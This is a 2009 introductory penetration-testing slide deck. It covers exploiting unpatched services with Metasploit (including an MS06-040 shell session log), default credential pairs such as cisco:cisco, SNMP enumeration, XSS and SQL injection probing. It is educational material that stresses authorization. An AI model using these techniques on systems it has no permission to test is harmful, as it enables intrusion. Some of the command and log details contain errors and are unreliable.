Attack and Penetration Testing 101

Presented by Paul Petefish
PaulPetefish@Solutionary.com
July 15, 2009
Agenda

- Penetration Testing Overview
- Network Vulnerabilities
- Web Application Vulnerabilities
- Resources/Questions
The techniques outlined in this presentation are intended to be performed by authorized individuals only.

Attempts to perform unauthorized tests are illegal.
Paul Petefish - Security Consultant in the Solutionary Consulting Services (SCS) group

Attack and Penetration Testing is a systematic approach to identifying weaknesses in already deployed targets and exploiting those weaknesses.

It is a vulnerability assessment followed by exploiting the vulnerabilities found during the assessment.

“You are trying to break a system, without breaking the system.”
How do you know you are secure without testing?

How do you know if anything works without testing it?

Penetration tests evaluate how things actually are, not how they should be.

A penetration test can leverage two or three low to medium risk vulnerabilities and turn the result into a critical vulnerability.

Compliance (PCI)
Network Vulnerabilities
Unpatched/Outdated Services

- Is there exploit code in the wild?
  - Security focus (bid)
  - Metasploit
  - Milw0rm
  - Google

- Never exploit without consent or knowing the consequences (crashing the service).
Attack Scenario

- Metasploit and MS06-040
- Yes, it is that easy.

```csharp
[*] Command shell session 1 opened (10.16.0.97:88089 -> 10.10.0.22:4994)

MS Windows 2000 [Version 5.00.2195]
© Copyright 1985-2000 Microsoft Corp.

c:\WINNT\system32>ipconfig
ipconfig

Windows 2000 IP Configuration

Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix ... :
IP Address . . . . . . . . . . . . . . . . . . . . . . . : 10.10.0.22
Subnet Mask . . . . . . . . . . . . . . . . . . . . . . . . : 255.255.255.0
Default gateway . . . . . . . . . . . . . . . . . . . . . : 10.10.0.1

C:\WINNT\system32>
C:\WINNT\system32>hostname
hostname

C:\WINNT\system32>

msf exploit(ms06_040_netapi) > set USER solutionary
USER => solutionary

msf exploit(ms06_040_netapi) > set PASS solutionary
PASS =>

msf exploit(ms06_040_netapi) > show options

Module options:
Name Current Setting Required Description
----- --------------- ------ -------------
LHOST 172.19.34.76 yes The target address
LPORT 4445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options:
Name Current Setting Required Description
----- --------------- ------ -------------
EXITFUNC thread yes Exit technique: seh, thread, process
PASS ??? yes The password for this user
USER solutionary yes The username to create

Exploit target:
Tr: Name
... ...
0 (wcsspy) Automatic (NT 4.0, 2000 SPO-SP4, XP SPO-SP1)

[*] Detected a Windows 2000 target
[*] Binding to 49324fc8-1d78-81d3-1275-5a47f6ee1883:0\ncacn_mp:172.19.34.76[BROWSER] ...
[*] Bound to 49324fc8-1d78-81d3-1275-5a47f6ee1883:0\ncacn_mp:172.19.34.76[BROWSER] ...
[*] Building the stub data...
[*] Calling the vulnerable function...
[*] Exploit completed, but no session was created.

msf exploit(ms06_040_netapi) >
```
Administrative Interfaces

- Look for default passwords on vendor site or default password site (one of the most common vulnerabilities in 2008).
- Try common password combinations (admin:admin, root:root, guest:guest, administrator:administrator, etc.).
- Do not lockout accounts, do not try the same username with more than two password combinations.
- Custom application? Beat it up then!
  - Input validation
Attack Scenario

- Weak password on Cisco router (cisco:cisco)
- Used device as a proxy to attack other hosts
SNMP Service

- Public community string
  - Sensitive information, potentially root
- Private community string
  - Root maybe, Cisco device?, definitely
- Brute force with Hydra, SNscan
- Read with Look@Lan or Snmpwalk
**Attack Scenario**

- **Netopia Wireless DSL Router**
- **Username:** Admin
- **Password:** Device serial number (gathered from SNMP public)
- **Look@Lan**

```
$ ./snmpwalk -v 3 -c public 192.168.1.1
.iso.3.6.1.2.1.1.1.0 = "Netopia 3547MNG v7.5.1r4"
.iso.3.6.1.2.1.1.2.0 = OID: .iso.3.6.1.4.1.304.2.2.19.3343
.iso.3.6.1.2.1.1.3.0 = Timeticks: (40530985) 4 days, 16:35:10.85
.iso.3.6.1.2.1.1.4.0 = 
.iso.3.6.1.2.1.1.5.0 = "Netopia-3000/24547448"
```
Services

- Manually inspect all available services.
- Connect to every service with appropriate client and test for
  - Default/Weak Passwords
  - Information leakage
  - Input Validation
- Do your research and know the service.
- Unnecessary services
- Directory browsing (/admin, /tools, /jmx-console)
Unencrypted Services
- FTP, Telnet, HTTP

Weak Encryption
- Weak SSL ciphers
- Self issued SSL certificate
Web Application Vulnerabilities
Input Validation

Client Side

- Validation normally done with JavaScript
- Simple to test, just plug in and submit
- Easy to bypass with Web proxy

Server Side

- The Web application checks for input.
- Check if potentially malicious characters are accepted (( )!@#$%^&*"';'<>[]{}\|?"').
Cross-site Scripting (XSS)

- It is possible to inject code, normally JavaScript, into a Web application.
- This is bad because you can steal cookies. Cookies contain session IDs, which are equivalent to username/passwords.
- Deface Website
- Redirect to a malicious Websites
- How to test?
- Injecting simple JavaScript
- No client or server side input validation
SQL Injection

- You can talk directory to the database without being authenticated (You are actually authenticated as the Web application, so you have the same access it does). The attacker has full access to the application database.
- Tick attack ("p'g'0", p'g"0)
- Look for SQL error messages (Syntax errors).
- Blind SQL injection
- Instead of a handy error message screaming SQL syntax errors, you have to look for more subtle things, such as content length returned.
Attack Scenario

- Injecting SQL query with Burp Suite proxy
- Web application returns syntax error
Browser Caching

- The Web application should clean up after itself (no-cache, private).
- Temporary internet files

GET Requests

- Sensitive information should not be passed via GET requests. Use POST instead.
- Web logs, proxies
- History
Attack Scenario

- Session ID cached in firewall logs
- Web application caching sensitive documents
Penetration Test Lab
- VMware with unpatched Windows XP
- Damn Vulnerable Linux (DVL)

Metasploit
- Exploit framework
- http://www.metasploit.com

Security Focus
- Vulnerability and exploit archive
- http://www.securityfocus.com

Milw0rm
- Exploit archive
- http://www.milw0rm.com
Resources Cont.

- **BackTrack**
  - Self contained penetration testing live distribution
  - [http://www.remote-exploit.org/backtrack.html](http://www.remote-exploit.org/backtrack.html)

- **OWASP Testing Guide**
  - Web application testing guide
  - [http://www.owasp.org](http://www.owasp.org)

- **OWASP WebGoat**
  - Self contained vulnerable Web application
  - [http://www.owasp.org](http://www.owasp.org)

- **Nessus**
  - Vulnerability Scanner
  - [http://www.nessus.org](http://www.nessus.org)